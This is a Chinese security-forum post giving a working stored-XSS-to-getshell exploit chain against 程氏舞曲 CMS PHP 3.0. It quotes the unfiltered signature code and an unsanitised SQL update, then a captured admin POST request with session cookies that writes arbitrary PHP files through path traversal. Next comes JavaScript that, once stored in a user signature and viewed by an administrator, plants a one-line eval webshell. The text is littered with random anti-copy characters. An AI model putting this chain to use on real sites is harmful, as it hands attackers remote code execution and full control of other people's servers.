找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2359|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
# i, @7 d! V/ ^. f官网已经修补了,所以重新下了源码8 G6 r# l& E# {$ K+ O5 Z' ~& o
因为 后台登入 还需要认证码 所以 注入就没看了。
, N  j, m1 h& u" [4 ]; F: h存在 xss/ t& b- C8 K3 b: Y* n$ G
漏洞文件 user/member/skin_edit.php
- C0 r  X: v* M; ^本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:% A, a  i) \9 q+ V& V
  " i+ D6 r, i* y4 K5 `
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
* v$ e( M- H0 ~2 L5 U  
& V& W2 U% h! `- S. ]% ~1 I</textarea></td></tr>  u. u5 w% H6 J
  
* j2 p$ Y( U0 R+ B) e             user/do.php ! b4 W8 u) z5 S+ k/ i' L8 J

; a3 d8 |; v: {' E% [1 H/ Q2 J& A% m; j
if($op=='zl'){ //资料
% K2 z* }+ s, a% T6 b% h/ @1 ~6 C  
; Y( k/ n5 _' o" R3 i+ s             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
% _- C  B1 ?* L* E% ^. R             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));( M0 q$ g+ E- x: b6 S
  6 l. U* q& F( g
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',2 a$ G; c4 w' D+ ?  u
  1 x/ `! ~: V, R- z- d- N
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'1 ]! F! M; r" T0 Z" Q
             where CS_Name='".$cscms_name."'";* ^9 u2 Q5 ?1 e. o; `
  
3 F1 ^4 q* q" f. |# k4 L1 a             if($db->query($sql)){9 B+ Y) K! @4 `$ F, H
  
6 C* q; V9 D8 T9 Q% c              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));& @6 l* W; k1 Z1 S  \
  
) W8 q* ]9 l) `: Y9 H; j9 x             }else{: N8 O/ G& h! z4 k
  
( T8 \5 B( H7 J5 s, \8 k- s5 t! s              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
# n( O8 w* w0 w2 o, U/ Q* `  * k% }2 T* ^2 l% ^7 u6 z8 g, s
             }1 b  W& R! t; I) H: h

7 ?$ u) B; y: a- h1 w* o5 }# B; W: [1 J$ e1 z
没有 过滤导致xss产生。
, M7 M4 t% M' x后台 看了下 很奇葩的是可以写任意格式文件。。4 [- ?# m% `& ?; q9 X8 `
抓包。。
9 L+ Z/ Z( Y8 ], I
+ G; g& z" F: L$ E4 ^5 u4 O- _5 j3 h$ z$ N7 D* c; q0 A
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
+ a( t2 P) M8 {6 u5 [  - T" `* S& p0 F& z% s8 L# \0 M- O
Accept: text/html, application/xhtml+xml, */*
5 U) k. d* m  ?0 m9 P( o* _  
, B9 u5 y' E: T9 X8 EReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
2 O# K8 H* }; Z# c( u  o8 g/ e7 C  U  
# a% Z7 @: s$ R$ ZAccept-Language: zh-CN
$ ?. F) ?+ {' q; ?6 a  
4 N* Y7 t- ~" H0 E2 b" @User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' y/ C0 t$ S( R3 {
  ; O- h. O8 z  ~
Content-Type: application/x-www-form-urlencoded- s2 L% U) ]. b" H
  ; @! f3 M% m* G9 u7 ^' L5 C. {
Accept-Encoding: gzip, deflate, y) ?& i0 C" u8 l& e% B
  
- Y& d! z: h6 c+ U; s% T3 I( Y" l) \3 `Host: 127.0.0.1
/ G- Q2 f7 c% C) s; Y& _  + q3 r( G& n# @0 T8 b3 Y& g
Content-Length: 38% _. \  X& {- a
  
9 y" a+ t! v: bDNT: 1
) f" w; M' D  V! E  
* ~9 @9 K* [) IConnection: Keep-Alive7 R/ \$ ~4 P2 t  i
  
; {4 f( x' k/ Q5 V7 h8 lCache-Control: no-cache
! H" A. Z! J% q- _  " h5 M; E1 R) L# l4 W
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655943 ?- G1 K. G7 w) V$ ?% v
    i! K+ z) J, N  Y2 T4 s: W
3 @; {8 M% R% F9 T; P, X& x/ u
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
  {8 g% ~; b3 y6 p
, L! ?0 k4 ]' H
; v+ x4 H, t, w2 A8 ~( s' X5 ?; R' ?& T& \
于是 构造js如下。
: }; G: w4 p3 J9 |5 v# T
7 R, A0 r% H' M. Z2 x本帖隐藏的内容<script> 1 X. f1 J0 e! c2 ~0 F6 e' R6 _
thisTHost = top.location.hostname;, m( U# s* P0 ~# `! j
  
% p& E# M1 |0 U* Q4 k: lthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";% ?8 T8 E  x6 {$ H$ S% {- c4 v
  & D5 U; w+ m/ N7 }
function PostSubmit(url, data, msg) {
/ U: O2 _- B- v7 l, ~9 o; j    var postUrl = url;
8 G+ i/ y& \- U; U, o; m  
$ l; d# f  v" o3 V$ z. }; U    var postData = data;
1 C1 V( k4 U( L4 |! y4 T* Y% r- l    var msgData = msg;
, i# B/ t1 f; j- g2 q    var ExportForm = document.createElement("FORM");
& c/ q# c/ N* H; P0 D  X    document.body.appendChild(ExportForm);
' |$ y& E! [- P    ExportForm.method = "POST";
% v# t2 g8 U9 Q/ f( u. r    var newElement = document.createElement("input");
! t& ~+ @- B% z0 w0 X* k, O    newElement.setAttribute("name", "name"); 4 T  S4 @! k; q, u
    newElement.setAttribute("type", "hidden"); 2 o! o! ?8 n: B
    var newElement2 = document.createElement("input"); 9 m+ G: s& T  H
    newElement2.setAttribute("name", "content");
0 p1 H- G/ m! `1 D    newElement2.setAttribute("type", "hidden"); # e8 j7 ^0 s9 T# j0 p: f/ Q
    ExportForm.appendChild(newElement); 1 R/ _( B5 ~8 h" c& e* J+ B
    ExportForm.appendChild(newElement2); 3 r5 n+ u1 E8 f" a+ _1 w
    newElement.value = postData;
* _& c3 j5 x- C* P4 z: G    newElement2.value = msgData; ! t5 d0 G$ b0 K' [
    ExportForm.action = postUrl; : h+ a7 Y5 O9 p/ n5 v1 ?
    ExportForm.submit(); . \, r! x( f: u& }+ o. f
};
/ D+ H- E3 X3 j+ {  
1 Q6 p2 S+ I( k8 {& h& i6 X) ZPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");5 B# O9 I( m6 f. M3 ~1 x! q9 A5 G8 n
  
; j9 _7 f3 I; s: n</script>
( |+ S; _; ?& z
  B* v& ]- c7 R& Y+ Q$ X
9 f9 s+ v: h( c& P) O' J
6 T$ V, J* z  u* a- [, Uhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入! \2 \/ V2 _6 p* R  B  P
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
1 s+ U2 _) T3 z就会 在 skins\index\html\目录下生成 roker.php 一句话。
7 ^' Q" Q6 [+ K9 Y5 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表